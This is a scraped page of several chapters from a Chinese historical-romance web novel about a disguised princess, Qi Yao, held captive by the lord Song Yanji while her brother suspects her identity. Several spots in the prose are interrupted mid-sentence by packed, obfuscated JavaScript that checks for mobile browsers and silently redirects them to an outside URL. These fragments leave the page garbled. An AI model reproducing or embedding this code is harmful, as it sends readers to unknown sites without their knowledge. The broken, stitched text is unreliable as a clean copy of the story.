d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749891|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极其不寻常。 叶以玫还没来得及问祁谣,她和宋厌疾过去有什么恩怨纠葛。 * 今天是囚于定北侯府的第二天,也是除夕夜。 叶以玫能够安全脱身,祁谣的目的就已经达到了。只是不知道这会儿,她和秦止雪正在做什么。 秦止雪应该在痛哭流涕吧。自己出发前就已经是一副要哭出来的样子了。 想到这,祁谣有些哭笑不得。 十六岁了还是这么粘人,和小时候的姜懿行一样。 “!” 面上刚牵起的笑意倏地顿住,像是突然触发了什么隐藏机关,祁谣垂下眼眸,叫人看不清眼底情绪。 不要再提起他。 不要再想过去了。 既然选择成为祁谣,那就要和过去姜望舒的一切割席。 心底升起一道声音,反复告诉她:姜望舒早就死于永宁十八年的那场皇宫走水事故。如今的祁谣,就是为了查清当年的案件而活着的。 她不敢赌,如果身份暴露,最坏的设想下,会不会招来那波人的再次谋杀,会不会牵连身边的其他人。 祁谣和姜懿行之间,只会是陌生人。 “祁姑娘?你在想什么?”小桃歪着头,掌心在她眼前挥了挥。 眼眶干涩,祁谣缓慢地眨了一下,视线重新聚焦,她这才回过神来。 小桃忙碌一番,捣鼓着架好铜锅,抱来干柴,在底下生火。 “世子今日被陛下召进宫中,应该很晚才回来了。我们在这吃古董羹,不会有人发现的。” 祁谣有些讶然。 方才和小桃闲聊几句,随意提了一嘴自己每年除夕夜都会吃古董羹,没想到小桃这么快就为她准备起来了。 好体贴,好周道,人文关怀太足了,简直不像是一个囚犯该有的待遇。 “谢谢你,小桃。”祁谣顿了顿,还是说出了口,“有时候你友善得让我以为自己是定北侯府的客人。” “我只是按照世子的吩咐行事,每天都有在好好监视你呀。” “世子说别把你养得死气沉沉的。”水煮沸,小桃开始往锅里下菜,“我想了一下,应该是尽可能满足你的需求,让你高兴一点的意思吧。” “刚好我也很想吃古董羹,就马上行动啦。” 祁谣抽了抽嘴角:“听起来更不像是囚犯应有的待遇了。” “还是有一点的。”小桃夹着竹筷,指了指她脚踝上的铁链,“你睡着的时候,世子进去比划了一下,连夜叫人赶制出一副尺寸正好的脚镣。” 宋厌疾他变态啊! 一想到正熟睡的时候有人进来打量自己的脚踝,她就嫌恶得心里发毛,连碗里蘸了辣酱的肉看起来都没那么有食欲了。 祁谣深呼吸一口气,努力平静情绪,眼里写满了真诚:“我的刀在哪?想砍死你们世子。” 小桃已经听习惯祁谣的这些言辞了。她刚淡定下来,视野里却见一道明亮的身影出现在祁谣身后,银铃相碰的响音清脆又熟悉。 她当即呆傻住了。 “那把破匕首就在我手上,想要就来抢啊。” 11. 间接接吻 一道颀长的靓影背对月光,整个人暗下来,愈加衬托出剑眉星目。 他略了眼炊烟袅袅的古董羹,眸光理所当然地锁定在祁谣身上,一出言就是嘲笑:“你这破刀去屠宰行切猪肉都费劲。” 祁谣毫不示弱地看向他,犀利反击。 “屠宰行的那些都不要紧,我更擅长处理贵府家禽。” “几日前才砍过一只猪肘。” 宋厌疾几乎秒懂她的阴阳怪气——昨日被她捅刀的右手心如今还敷着药呢! 前世他和祁谣唇枪舌剑,每每都是败于下风的那一个。重来一遭,即便自己比眼前的祁谣多了往后八年记忆,面对她的冷嘲热讽,他仍然挤不出什么反制言辞,窝囊地走着前世老路——被呛得脸色阴沉,开始放毫无威慑力的狠话:“你找死?” 祁谣耸了耸肩,摆出一副很是无辜的表情:“我砍的是猪肘,世子着急什么?” 宋厌疾的脸色更臭了,盯着她的眼神仿佛是要将人大卸八块再油锅爆炒。祁谣都能听见他正恶狠狠地咬着后槽牙。 她讥笑着补刀:“还请世子冷静,要是咬碎牙肿了脸,就真的能和屠宰场的猪头称兄道弟了。” 两个人话里行间的火药味越来越浓,听得小桃心里捏完一把汗再捏下一把汗,欲哭无泪。 祁姑娘平时说话也不这么夹枪带棒啊! 生怕这两人吵着吵着就上头起来,从唇舌相讥升级为自由搏击,小桃连忙给宋厌疾呈上一副碗筷,再从锅里捞起几片牛肉塞到祁谣碗里。 她飞速到有些慌乱地做完这一切,嘴角的弧度僵硬又勉强:“呵呵呵......世子用过晚膳了吗?聊天火热的话比较容易口干舌燥,要先休息一下吗......呵呵呵......” 正好递给他一个台阶下,免得继续吵下去被祁谣讥讽得体无完肤,偏偏他还没有还手之力,只能看着自己的脸面像雨水一样哗啦啦流走。 宋厌疾这么想着,拂起衣摆也盘腿坐下,脊背挺得很直,微微垂下头,细嚼慢咽。 他午膳前接到陛下诏令,快马加鞭赶去皇宫,一待就是到亥时。议事结束回到院子里还没来得及用膳,又和祁谣拌嘴拌得起劲,这会儿闲下来,宋厌疾才后知后觉地被饥饿感席卷。 三人之间维持着短暂的和谐。只要他不主动说话,祁谣也懒得搭理他。 铜锅里烟气升腾,雾蒙蒙的,遮挡了部分视线,让边上的面容变得模糊起来。 祁谣正低着头进食,嘴唇抵在碗的边沿,全然没注意到宋厌疾正一眨不眨地盯着她出神。 哪怕他心中一直都有着坚定的答案,哪怕他早就因此吃过无数回亏,但在某些突如其来的时刻,看见这张格外相似的脸,宋厌疾还是会恍惚,无药可救地想起当年从天而降的那位公主殿下。 明媚似骄阳,只是闪耀一下子,就足以支撑他度过整个冬天。 指间的筷子一抖,将他的思绪拉回。 宋厌疾的面色短暂柔和一瞬,随即被一抹更浓重、更阴沉的情绪取代。 在前世,他和祁谣的初次交手,就是栽在了这一瞬的恍惚上。 剑尖直抵咽喉,面纱被勾起、挑开,对方骤缩的瞳孔里映出他错愕的神情。 他动作一顿,剑尖猛然刹住,张口似要说什么。 怎么是你?真的是你吗?不应该是你。可是太像了。还能是谁? 一定是你。 一定要是你。 质疑、侥幸、妄想,乱糟糟的一连串,争先恐后地涌上喉口。然而还未等他说些什么,刚冒出的那点念头就被彻底打破,像是碎成一地的瓷器残骸,锋利的边缘磨着他心里最脆弱也最柔软的那一处。 对方不像他一样分神,趁机抓住这个空当侧身躲过,以进为退,匕首直扎小臂,割破衣袖,露出里头白皙的肌肤,隐约可见其上的青筋,与血色相映。 这是宋厌疾从祁谣身上得到的第一个教训。 此后八年内的无数次交手反复重申着同一个事实——她和姜望舒截然不同。 初次见面的那一霎愣神,那个荒唐的念头,只是他的妄想。 他太想念她了。 眼前的祁谣看着比前世更加稚嫩,也更靠近他记忆里姜望舒的模样。宋厌疾紧咬下唇,强压下由此产生的联想,闭上眼又重新睁开,眼神清明里带着一丝戒备。 他有些懊恼。 祁谣就坐在那里,什么也没干,自己的脑海里就已因她而掀起一场狂风暴雨。雨幕里凌乱、挣扎的人只有他一个。偏头望去,祁谣清清白白,滴水不沾,只有他刚从泥泞里爬起来,一身狼狈,像条丧家犬。 凭什么? 他不许祁谣这么安逸,要拽着她一同沉进情天恨海里。 宋厌疾莫名觉得有些口干,余光瞥见手边正摆着一碗清水,想也没想就端起来一饮而尽。 “世子!那是祁姑娘的水!” 就在小桃惊慌提醒的前一秒,喉结滚动,他大口咽下了水。 宋厌疾:“......” 祁谣:“。” 迟了。 完了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749892|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他绷着嘴角,眼眸眯起,目光如同刀剑一般削过那只瓷碗的边沿,脑海中闪过一个残忍的记忆片段,像是要对他处刑:就在刚刚,他清清楚楚地看见祁谣是如何低着头,垂下睫毛,嘴唇抵在边沿,一点一点、慢条斯理地啜饮的。 他甚至能回想起两片粉嫩的唇瓣受到轻微挤压时的模样。看着很软。 宋厌疾的脸色难看像只角落里的灰蘑菇,震惊、气恼等等诸如此类的情绪看热闹不嫌事大似的堆在他的脸上,更加显得阴沉。 相较于他,祁谣的表情就简单得多——没有一丝多余的情绪,也没有吐出一个字眼,只是用一种看尸体的眼神死寂地凝视着宋厌疾。 杀意尽在不言中。 她虽然毫无男女之情的体验经历,但也知道,这种情形,叫间接接吻。 即便是宋厌疾单方面的,也让她感到无比恶心。 这场突如其来的喝水事故让三人不约而同地维持着一种诡异的沉默。 一直到饱腹后收拾残局,今晚也没有人再开口。 * “世子?”一道略显虚弱的声音响起。 “抱歉,又在想别的事了。” 自从除夕那一晚难以启齿的意外后,他这几日都刻意避开了祁谣,甚至开始后悔起抓住她的那一天,自己为什么要那么笃定地将她囚于隔壁,抬头不见低头见。 只要不看到她,还能靠着辗转忙碌的日子将这事抛之脑后,任时间磨蚀。一碰面就前功尽弃,什么都想起来了,怎么也抹不掉这段不齿的回忆。 但凡是祁谣主动喝了自己的水,他都不会难堪至此! 斗嘴皮子的功夫不如人家就算了,在这件破事上还因理亏被祁谣压一头。 宋厌疾越想越咬牙。 桌案对面的人见他这副表情,以为是自己说错了什么话,怯生生地收回视线,垂头不发一言。 良久,宋厌疾冷静下来,才注意到眼前的六皇子似乎过于沉默了。 他虽对学宫时期的同窗们毫无感情,但六皇子还是有点差别的——看在他和姜望舒姐弟情的份上。 于是他尽可能温和地问:“殿下今日前来,所为何事?” 姜懿行抬眸,语气小心翼翼:“父皇迟迟没有听闻叶以玫同伙的下落,特遣我来协助调查。” 宋厌疾眸色微动。 他存心不上报祁谣的消息,没想到陛下这么快就派来了眼线,他这段日子本就烦心,这会儿更是火上浇油。 安插眼线又如何? 他不会把祁谣交出去。 12. 阿姐 祁谣这几日都没见过宋厌疾一面,他大概是有意避着自己。没有宋厌疾来找不痛快的日子很清静,也很悠闲。 这天,她一如往常地在院子里走动,思索着该怎么逃跑,耳朵敏锐地捕捉到一串很轻的脚步声。 小桃前脚才离开去厨房找零嘴,宋厌疾回自己的院子里不会这么蹑手蹑脚的,至于那群草包侍卫——根本没胆子来这里。 “谁在那里!”她冷声呵道。 脚步声顿住,但那人并未答复。 祁谣警戒起来。 行迹鬼鬼祟祟,吱个声都不敢,不会是刺客吧? 她短暂思考了两秒,放下探究的想法,默默往后撤。 若真是刺客,她现在手无寸铁又被镣铐锁着,毫无自保手段,再引起刺客注意就等于找死。 她这么想着,却听那人重新动身,脚步声越来越近—— 祁谣心提到了嗓子眼。她能清楚分辨出声音的位置,仅一墙之隔,越来越靠近中间的月洞门。地面上已有一道影子露出,墙外正缓缓探进来一个头。先是挺翘的鼻尖,接着转过头来,一双下垂的眉眼望向她,瞳孔缩得极小,反应比祁谣还要惊骇。 “阿姐?!” 熟悉的面容,与自己有五六分相像,是姜懿行。 祁谣刚松下一口气,马上又重新提起心来。 来的不是刺客,她暂时没有性命之忧。但新的挑战迎面而来——不能在姜懿行面前暴露身份。 后者比前者难度更甚。作为从小就喜欢缩在阿姐后面的小跟班,他应该是这个世界上剩下的人里,最了解姜望舒的那一个。 祁谣自认为与过去差别很大,但她没有把握能否瞒过姜懿行。 眉头紧蹙,一双冷淡的眼里蓄满了戒备与不解。 “你是谁?” 与记忆里截然不同的神情和语气,令他感到陌生。 少年方才颤抖发亮的眸光顷刻又黯淡下来,紧抿着唇到边缘发白,半天不发一言。 两人沉默驻在原地,祁谣冷淡地打量他,姜懿行微微低头,看着有些失魂落魄。 宋厌疾恰恰是在这个时候过来的。 他单挑着眉,似笑非笑道:“殿下不是说要回宫了吗?怎跑这来了?” 姜懿行这才被唤回神似的,目光复杂地看了眼祁谣,坦白道:“抱歉,我仍有所疑惑,所以掉头了,没有离开。” 目光下移,注意到一截铁链掩入裙摆,另一端往里延伸,似乎是在内室。 他知道有些世家子弟的德行,重欲色,玩得还花,金玉其外败絮其中。只是没想到宋厌疾也属于这类人。 他本不该干涉旁人私下癖好,但又想起那张酷似自己早亡阿姐的脸。 他顿了顿,视线移向宋厌疾的时候要坚定很多,像是把平日畏畏缩缩攒下的劲全用上了。 “世子请容我插句多嘴的话,两个人之间不管是什么关系,这样做都是不对的。” “哦?”宋厌疾大步向前,站定在祁谣身侧,唇角上扬,“我们两个私下的一点情趣而已,殿下这也要管吗?” 话音刚刚落下,耳畔猝然掠来一阵风,宋厌疾头都没偏一下,熟练地握住了祁谣的手腕。 好险,差点又要挨扇了。 姜懿行似乎梗了一下。 宋厌疾:“见笑了,这也是我们的情趣之一。” “滚。”祁谣一如往常地骂完宋厌疾,又往姜懿行的方向走几步,脚镣到了极限距离,将她往回扯。 比起方才的冷淡,她现在看姜懿行的眼神要有温度许多,带着恳求。 “请殿下帮帮我!我和宋厌疾没有任何关系!”她深吸一口气,装出一副似乎是下了很大决心才敢说出来的样子,“我是被他强行关在这里的。若非殿下今日误打误撞,怕是一辈子也出不去了......” 祁谣举起袖子,装模作样地抹起并不存在的眼泪。 宋厌疾侧头瞥她一眼。 他把祁谣的消息封锁得很死,就是为了防止她身份败露落到官府手里,脱离自己的掌控。 没想到姜懿行还是误打误撞闯进来了,祁谣也确实动了求助他的念头。 按理来说姜懿行性子怯懦,不敢管他人私事,怕是祁谣的长相让他想起了姜望舒,难得勇敢一回。 宋厌疾冷笑,抱着手臂看姜懿行会是什么反应。 他果然严肃起来。眉眼和祁谣有些相似,但眼尾要更下垂一些,即便是严肃的表情也看着没多大威慑力。 “强抢民女在《永宁律法》上明明白白写着禁止,世子更不能知法犯法!” “怎么能叫‘抢’呢?我们明明两情相悦。”宋厌疾仍然勾着唇角,只是笑意不达眼底,微眯着眼,似有寒意,“卿卿,你也不想和我鱼死网破吧?” “卿卿”?! 他这副故作深情的口吻,听得她快把昨日的食物呕出来了。 然而,祁谣脸上嫌恶的神色很快被凝重所取代。 她听出了后半句话的言外之意。 宋厌疾手上有着自己和叶以玫关系的证据。虽然尚不清楚他为何没第一时间向姜懿行交代,但若要较真起来...... 只要宋厌疾甩出这一条证据,姜懿行非但不会帮她,反而会送到官衙定罪。 他在威胁自己。 宋厌疾注意到她神情的变化,唇角笑意加深,向祁谣伸出手:“不要抛下我。” 明明是他威胁别人,却把自己说得这么卑微可怜,好像他才是那个处于劣势的人。 无耻至极! 姜懿行也察觉到了话音里的言外之意,猜测宋厌疾手里应该是拿着什么把柄,才逼得她不得不就范。 “请不要威胁她。”他刚要把祁谣挡在身后,那人却先一步迈步向前,不甘地回应宋厌疾伸出的手。 姜懿行愣住,才抬起的小臂又缩回去。 宋厌疾幽幽注视着祁谣向自己走来。琥珀色的瞳孔中央映着她的身影,逐渐放大,像是被一道蜜色的陷阱笼罩。 他用只有彼此能听到的声音说:“向官衙瞒住你的消息费了我很大劲呢,陛下都起疑心了。” 虽平日素不对付,但在这件事上,两人却默契地站到了同一立场。 宋厌疾不希望她脱离自己的视线,祁谣更不想被官衙判罪,日后上个街都要畏首畏尾。 他们权衡利弊后,姜懿行的处境就显得尴尬了。 他又抿起下唇,眼神躲闪,看着局促无措。 姜懿行深吸一口气,将先前的勇气悉数撤回:“抱歉,是我多管闲事了。” 他转身欲走,视野中却突然闪过一点银器的反光,侧眸一看,登时停下了脚步。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749893|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你脖子上挂着的......” 他的视线直勾勾地盯着颈间的长命锁,祁谣心里一凉。 糟了。她和姜懿行的长命锁是母亲当年托人成对打造的。 此时此刻,那块雕琢精致的长命锁正毫无遮挡地挂在颈间,姜懿行多半是认出来了。 她只好故作从容,语气里带着一点疑惑,捏起串着锁的细绳问:“怎么了?” 天底下的巧合多了去,面容相似可以是巧合,形式相近的长命锁自然也可以。 她只要一口咬死,姜懿行再疑心也没办法。 祁谣这么想着,本以为姜懿行会就此作罢,没想到反而直直地朝她的方向大步走来。 见他颇有一副死缠烂打的架势,宋厌疾神色不悦:“一块长命锁,殿下可看出了什么?” 姜懿行似乎是太着急、太慌张了,甚至没工夫理会宋厌疾,他抬眸直视祁谣,倔强地想要从她的表情里找出一丝破绽来。 “你......当真不认得我了?" 比起相信这一切都是巧合,他更愿意去想另一个大胆的可能。 失去母亲和阿姐的这四年里,他在宫中心灰意冷,靠着从前的那些温馨回忆度日。 璇玑宫走水的那一夜,是姜望舒的生辰,璇玑宫虽不热闹,但他们也能自得其乐。 他一如往常地黏在阿姐左右,直到她突然说想吃枣泥酥饼,便向御膳房跑去。 宫中惯会见风使舵,那厨子起先拿了盘又冷又硬的糕点敷衍他。姜懿行难得发怒,一改往日畏畏缩缩的面貌,厉声斥责了好几句,才提回来一盒暖烘烘的枣泥酥饼。 初春仍有些料峭寒意,他缩了缩臂膀,加快步伐跑回去。然而距离越近便越觉着热,起先还以为是自己小跑出了汗,直到他看见灼目的火光张牙舞爪地笼罩着整个璇玑宫。 手中提着的食盒“嗵”地落地。 父皇遗憾地告诉他,火势起得突然,花了很大功夫才扑灭。事后搜查时,也没有人见过他的母亲和阿姐,但在一片茫茫的灰烬里,他找到了一块玉佩。 自他有记忆以来,阿姐就一直随身系着这块象征公主身份的玉佩,以备不时之需,从来没一天摘下过。 如今却灰不溜秋地躺在一片狼藉里。 姜懿行如坠冰窟。 侍卫将一具具焦黑的、隐约看得出人体形状的尸体裹上草席,拖出去埋葬。所有人都顺理成章地认为,他的母亲和阿姐也在其中。只是大家都被烧成了一个样子,无从辨认面容。 只有他一直不肯相信这几乎公认的事实,不撞南墙不死心。就这么吊着一口气,撑着自己那侥幸的妄想,拖到了现在。 “你当真不认得我了?” 哪怕祁谣给出否定的回答,他也认为一定是因为她遭遇了什么导致记忆受损。 “她不是。”同样在这个问题上摔过跤的宋厌疾清楚他在想什么,“天底下有很多张相似的脸。” 既是说给眼前的姜懿行听,也是说给前世的自己。 姜懿行取下属于自己的那只长命锁,攥在手心里,固执反问:“那,这两块形式成对的长命锁,也是巧合吗?” “这是我阿娘当年托人定做的。” “属于阿姐的那一块,中间雕的是一轮圆月。” “为什么你连这点都一模一样?” 13. 明月 姜懿行言之凿凿。 宋厌疾也被他这副口气唬住了,下意识歪头看向祁谣颈间的那块长命锁。 银制的。做工上没什么值得称奇的地方,看着简朴低调,但中间确实是个圆月图案,和姜懿行手心里的那块像一对。 不过——这也可以是巧合。 在他为数不多的记忆里,只有初次见面时,姜望舒的身影最清晰。她的上襦对襟处确实佩有长命锁,但这物件不比公主玉佩那般有身份象征意义,人人皆可打造。 他和姜望舒之间的距离也没有近到能看清这么细小的图案。往后,他只在宫宴上见过几回姜望舒,每次都是远远遥望着她的身影,像天边触不可及的月亮。 余光注意到宋厌疾的视线直盯自己,抬眸又要和姜懿行对视。他大有一副刨根问底的势头,不达目的不罢休。 这股劲儿出现在姜懿行身上很稀奇。这四年里,他的心性似乎成熟了很多,和从前那副呆愣大鹅的样子判若两人。 还好长命锁没有直接刻下她的名字,不然真是百口莫辩。 于是她无奈地笑了笑:“世上竟有这么巧的事,可我真的不认识你。” “也许是暂时想不起来。”姜懿行执拗道,“你有没有遭遇过什么,记忆——” “别痴心妄想了。”宋厌疾打断他,“她是祁谣,不是你的姐姐。你但凡多了解一点,就知道她和公主殿下完全不一样。” “你有资格说这话吗?”孔雀蓝圆领长袍的衣角被攥得紧皱,姜懿行冷不丁道,“我尚不了解她,难道你就熟悉我阿姐?” “她都不认识你。” “你凭什么这么笃定她们不一样?” 句句诛心,在宋厌疾的痛处上一边撒盐一边捅刀。 他凭什么这么笃定?就凭他前世与祁谣的八年。 他无意识地抓紧腰带上系着的银铃,冷笑:“那你说,她若真是,为什么不和你相认?你们不是最亲的姐弟吗?” 姜懿行闷哼:“阿姐自然有她的难处。” 两个人吵起来伤敌一千自损八百。 身为话题的中心人物,祁谣在一边旁观,默默在心里支持姜懿行。 亲弟弟真是善解人意,她确实有不能相认的苦衷。以及,她和宋厌疾真的不熟。 说来奇怪,自己和宋厌疾只有少时的一日情分,为什么他对与“姜望舒”这个名字相关的一切都那么在意,甚至不惜和姜懿行起冲突。 他没有其他朋友吗? 祁谣很认真地思索着,都没听进去他们剩下的争吵,直到姜懿行突然转头对她说:“我会常来定北侯府拜访你的。” 不必了,她每天都在想怎么离开这里呢。祝他早日跑空吧。 她在心里腹诽,面上还是要做做样子微笑:“殿下轻便。只是我不是你要找的人。” 宋厌疾抱臂赶客:“天色不早了,殿下请回吧。” 他以前怎么没发现姜懿行这么死缠烂打呢? 他把祁谣留在定北侯府可不是为了方便姜懿行探望。 这座院子是属于他们的私人领地,谁也不能插足。 等到姜懿行颔首告别后,祁谣利落地卸下微笑。 这一出热闹看了半天,她站得乏了,懒洋洋地往后靠在梨花树干上,不忘嘲讽宋厌疾几句:“你们口中的那位公主殿下都不认识你。” “有些话骗骗自己得了,别把人家的亲弟弟骗了。” 宋厌疾竟不像以往那样第一时间反驳,难得沉默无言。不知是先前和姜懿行争辩说累了,还是自己真的精准打击到了他的痛处。 总之他看着很憋屈。长睫垂着,投下的阴翳掩住了半边眼眸,蜜一般的瞳色似乎也黯淡下来。整个人没什么动作和反应,只是有一下没一下地摩挲着腰系银铃。 好像真的有点破碎了。 祁谣好整以暇地打量他,浅淡的眼眸里带上了点审视的意味。 他们之间有那么深重的羁绊吗?不是一日友情吗?他在......郁闷什么? 于是她进一步试探:“你为什么会在意——” 话音未完,被宋厌疾突然开口打断:“一次。” “什么?” “我们认识的,见过一次面。” “......” 祁谣一时语塞。 “这也好意思拿出来讲?” 她继续补刀:“放我去街巷上溜达都能和一堆不相干的人见一次面了,你看我们能算认识吗?我能叫出他们的名字吗?” “我们相伴一天,我记得她,她自然也——”话音顿住,后半句怎么也说不出来。 有关于姜望舒的回忆,是他心底最柔软也最美好的地方,只远远望着便能感到满足,每每回想都能得到一点幸福。 然而当他试图再靠近一点,迎接自己的却不是愈加放大的暖意与希望,反而是残酷的真相。 他看清了那团光芒的源头是一触即灭的泡沫。 因为他的越界而破灭了。 宋厌疾忍不住懊恼,他为什么要冒出这些多余的念头,姜望舒记不记得他都可以,本就是自己一厢情愿。他的长夜里曾升起一轮明月已是足够,为什么还要得寸进尺地妄想月亮为他停留?她本就有自己的星辰夜空。 但下一刻,脑海里又浮现出一道无可自抑的声音,用贪心的口吻煽动他: 对姜望舒来说,他也是不相干的人吗? “算了。” 所有叫嚣着的不甘和自欺欺人一并滚回咽喉里。 如果是她的话,怎么样都可以。 * 正月初九,京城小雪,细碎的雪绒如蒲公英般四散飞扬。 外头湿冷,李星歌发梢沾了雪,系着厚重的绛紫色连帽披风,快步闪进白玉楼里。 二楼最里侧的雅间摆了台火炉以供取暖,叶以玫正夹起木炭往里塞,将整个房间都烘得暖和起来。 余光注意到来人,她一把将火钳抛给秦止雪,提着裙摆凑上前。 “等你好久了,小星星!” “就不能直接放一边吗!烫死我了!”秦止雪被叶以玫突然的动作吓得嗷嗷叫,但剩下的两人已经熟练地忽视了他的动静。 李星歌解下羊绒披风,直切正题:“上次你们拜托我打探的事情,今日才有一点眉目。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749894|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宋厌疾有意藏禁祁谣,连官衙都瞒过去了,难怪先前想从那边下手,竟一点消息都查不出来。还好昨日六皇子殿下私访定北侯府时漏了点风声。” “祁谣很安全,你们可以放心了。” “宋厌疾没对她做什么吧?”叶以玫幼时是世家私自豢养的杀手,身居高位之人逐权逐利,党争相斗以求排除异己,背地里见不得光的事多了去,她自小见识过,担心祁谣也受其害,遭到生不如死的严刑。 比起他们二人,李星歌要沉着得多,考虑到现实情况,她直言:“怎么可能不做什么?宋厌疾不是很记恨她吗?” “换位想想,如果现在宋厌疾被关在白玉楼,你们能忍住什么都不做吗?” 秦止雪坦诚:“如果有人能把他五花大绑起来的话,我要在边上拿扫帚没日没夜地抽他。” “那就对了,他自然也是这么想的,不会让祁谣好过。”李星歌说,“我说祁谣安全,只是相对而言,她应该没有遭受什么极刑虐待。” 她想起自己作为医师被请入定北侯府的那天,宋厌疾就存心捉弄祁谣,命人将她绑起来。想必现在也多半如此。 “今日六皇子到访,似乎对她很热切,为此还和宋厌疾生了些口舌之纷。” “六皇子?热切?”秦止雪目瞪口呆,“他不是唯唯诺诺的性子吗?” 叶以玫的关注点与他不同,她拧着眉:“六皇子怎么会见到祁谣?难道宋厌疾想把人交给皇宫处理?” “一概不知。”李星歌答,“杏林堂的医师出入各大世家,若有其他消息我会再告诉你们。我在尝试能否给祁谣捎信询问她的打算,在得到答复之前,我的建议是不要妄自行动,不要意气用事给祁谣添麻烦。” * 正月十四,定北侯府。 连绵几日的小雪渐停,是难得的晴天。 自从姜懿行来过后,宋厌疾不像先前那样有意逃避了,反而频繁出现在这间小院里,时不时盯着她看,像是有了危机感而守着领地的犬兽。 大多数时候他都没说话,安静得反常,大概是上次痛处被戳成筛子了还没恢复过来的缘故。 祁谣干脆把他当空气,熟视无睹,两个人都各做各的事。 直到这一日,宋厌疾突然打破了平静和谐的局面:“明日是上元节,你想不想出去?” 祁谣诧异地转过头,微微睁大了眼睛,似乎想从他的表情里看出点心思来。 太阳打西边出来了?宋厌疾葫芦里卖的什么药? 她保持警惕,抬起手臂指着地面上的铁链,冷笑:“带着这个?” 但今天的宋厌疾似乎换了个人似的,意外地好说话:“你不想要可以摘掉。” “可以。” 祁谣手无寸铁,脚镣一直是脱身的最大困难。现在宋厌疾不仅同意摘掉,还要将她带出去。 上元节庙会人多易走散,完全是送上门的逃跑时机。 她的心里已形成了逃跑的初步计划。 她最后好奇地问一嘴:“为什么?” 宋厌疾直勾勾盯着她,唇角上扬。 “姜懿行明日想来见你,我要让他跑空。” 14. 未竟婚约 幽暗的书房里,只有桌案上点着盏昏黄的烛灯,堪堪照亮一小片。 墨发白衣的身影浸在光晕里,轮廓柔和朦胧,看着都温柔了不少。 “宋厌疾?” 那人轻唤他的名字,声音熟悉,白日里才听过。 只是,祁谣每次提起自己都是一派冷淡或嘲讽的口气,如今怎会用这样松散的语调喊他的名字? 宋厌疾不解,正要张口说什么,身体却如同脱离控制般不为所动,一个字音都发不出来。 他像是一缕出窍的灵魂,眼睁睁看着那个眉目温顺的“宋厌疾”提起臂弯里挂着的羊绒大氅,轻轻披在祁谣肩膀上,掖好衣角。 ? 他在搞什么?那不是自己的衣服吗?为什么要给祁谣披上? 如果此刻能再给他一个容身之躯,宋厌疾势必要冲上前揪起自己的领子质问。 那边的“宋厌疾”眉眼弯弯,终于启唇,只是说出口的话和他真正所想的迥然不同。 他听见自己夹着嗓音说:“夜里冷,我怕你着凉了会难受。” 好恶心的语气。他在说什么话,鬼上身了? 心下腹诽不断,但他仍然无法阻止,只能坐以待毙地看着这一切发生。 只见那“宋厌疾”动作慢条斯理地给她整理好保暖大氅,祁谣却转过身来,一个抬手的工夫又将刚披上肩头的大氅滑落。 “拿开,我不要你穿过的。” 他听见自己的话音里浮上几分委屈:“为什么?” “拿花瓣熏太久了,香气浓得呛鼻子。” “宋厌疾”伸手接住滑落半空的衣服,见它像自己一样被祁谣嫌弃,忍不住说:“你身上也有白山茶的气息啊。” “是吗?”祁谣坐在桌案前,不为所动,“叶以玫和秦止雪都没说起过,就你闻得出来,你是小狗吗?” “你说是就是吧。” 厚衣服揣怀里,他在祁谣身侧蹲下来,只比坐着的人矮了一小截,仰头注视着她。 他的五官生得漂亮,眉眼尤甚。眉骨高,眼窝深,其下的桃花眼天生含情,像一汪琥珀泉眼,与生俱来就有蛊惑人心的本事。 祁谣放下纸笔,扑哧一声笑出来。她不自禁抚上他的脸,垂眼对视,眸中的情丝和瞳色一样浅淡,声音却是含笑着的。 “我说是你就真是小狗了?” “小宋,你的底线呢?” 听到这个久违的称呼,宋厌疾蓦然眨了下眼,心下一惊,连带着心跳也扑通扑通地加快了。然而下一幕,眼前这个堪称谄媚的“宋厌疾”的反应更是叫他惊呆下巴。 “宋厌疾”低头,垂落的发丝穿插在祁谣指间,像是故意勾着圈着人似的,泛着丝丝缕缕的痒。唇瓣有意无意地擦过她白嫩的手心,添上一点湿润。他从外头进来,脸上的肌肤比祁谣的手心要冰很多,于是又贪恋温暖地贴着蹭来蹭去。 祁谣忍俊不禁:“这副样子真的是小狗了。” “你说了算。” “......” 